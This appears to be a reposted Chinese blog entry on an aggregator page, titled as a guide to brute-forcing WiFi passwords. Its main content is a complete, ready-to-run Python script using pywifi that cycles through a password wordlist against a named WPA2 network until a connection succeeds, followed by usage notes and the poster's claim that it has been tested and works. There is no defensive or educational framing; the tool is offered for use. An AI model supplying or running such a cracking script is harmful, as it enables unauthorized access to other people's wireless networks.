zoukankan      html  css  js  c++  java
  • 【转】暴力破解无线WiFi密码

    # coding:utf-8
    import pywifi 
    from pywifi import const
    import time
    from asyncio.tasks import sleep
    
    class Pojie():
        def __init__(self, path):
            self.file = open(path, 'r', errors='ignore')
            wifi = pywifi.PyWiFi() # 抓取网关接口
            self.iface = wifi.interfaces()[0] # 抓取第一个无线网卡
            self.iface.disconnect() # 测试链接断开所有链接
            time.sleep(1)
    
            # 测试网卡是否属于断开状态
            assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        def readPassword(self):
            print("开始破解:")
            while True:
                try:
                    myStr = self.file.readline()
                    if not myStr:
                        break
                    bool1 = self.test_connect(myStr)
                    if bool1:
                        print("密码正确:", myStr)
                        break
                    else:
                        print("密码错误", myStr)
                except:
                    continue
    
        def test_connect(self, findStr): # 测试链接
            profile =  pywifi.Profile() # 创建wifi链接文件
            profile.ssid = 'XXX' # wifi名称
            profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
            profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = findStr # 密码
    
            self.iface.remove_all_network_profiles() # 删除所有wifi文件
            tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
            self.iface.connect(tmp_profile) # 链接
            time.sleep(5)
            if self.iface.status() == const.IFACE_CONNECTED:
                isOK = True
            else:
                isOK = False
            self.iface.disconnect() # 断开
            # 检查断开状态 
            assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
            return isOK
        
        def __del__(self):
            self.file.close()
    
    path = 'password.txt'
    start = Pojie(path=path)
    start.readPassword()

    需要一份密码本password.txt。

    需要指定要破解的WiFi名称。

    附录:为了验证程序的正确性,可以自己造几行密码,其中有一个是正确的,验证程序是否能够正确执行。

    我已验证,程序无误。

    【转自】:https://blog.csdn.net/m0_38124502/article/details/78076924

  • 相关阅读:
    程序员版孔乙己
    痛!痛!痛!我们的好兄弟Git,一路走好!
    谈谈中台架构之交易中台
    一个单例还能写出花来吗?
    为什么数据库字段要使用NOT NULL?
    阿里二面:什么是mmap?
    退税不完全操作指南,我这样操作省了2000块!
    开源组件编排引擎LiteFlow发布里程碑版本2.5.0
    开源框架TLog核心原理架构解析
    对乱糟糟的日志说再见
  • 原文地址:https://www.cnblogs.com/zhzhang/p/11177269.html
Copyright © 2011-2022 走看看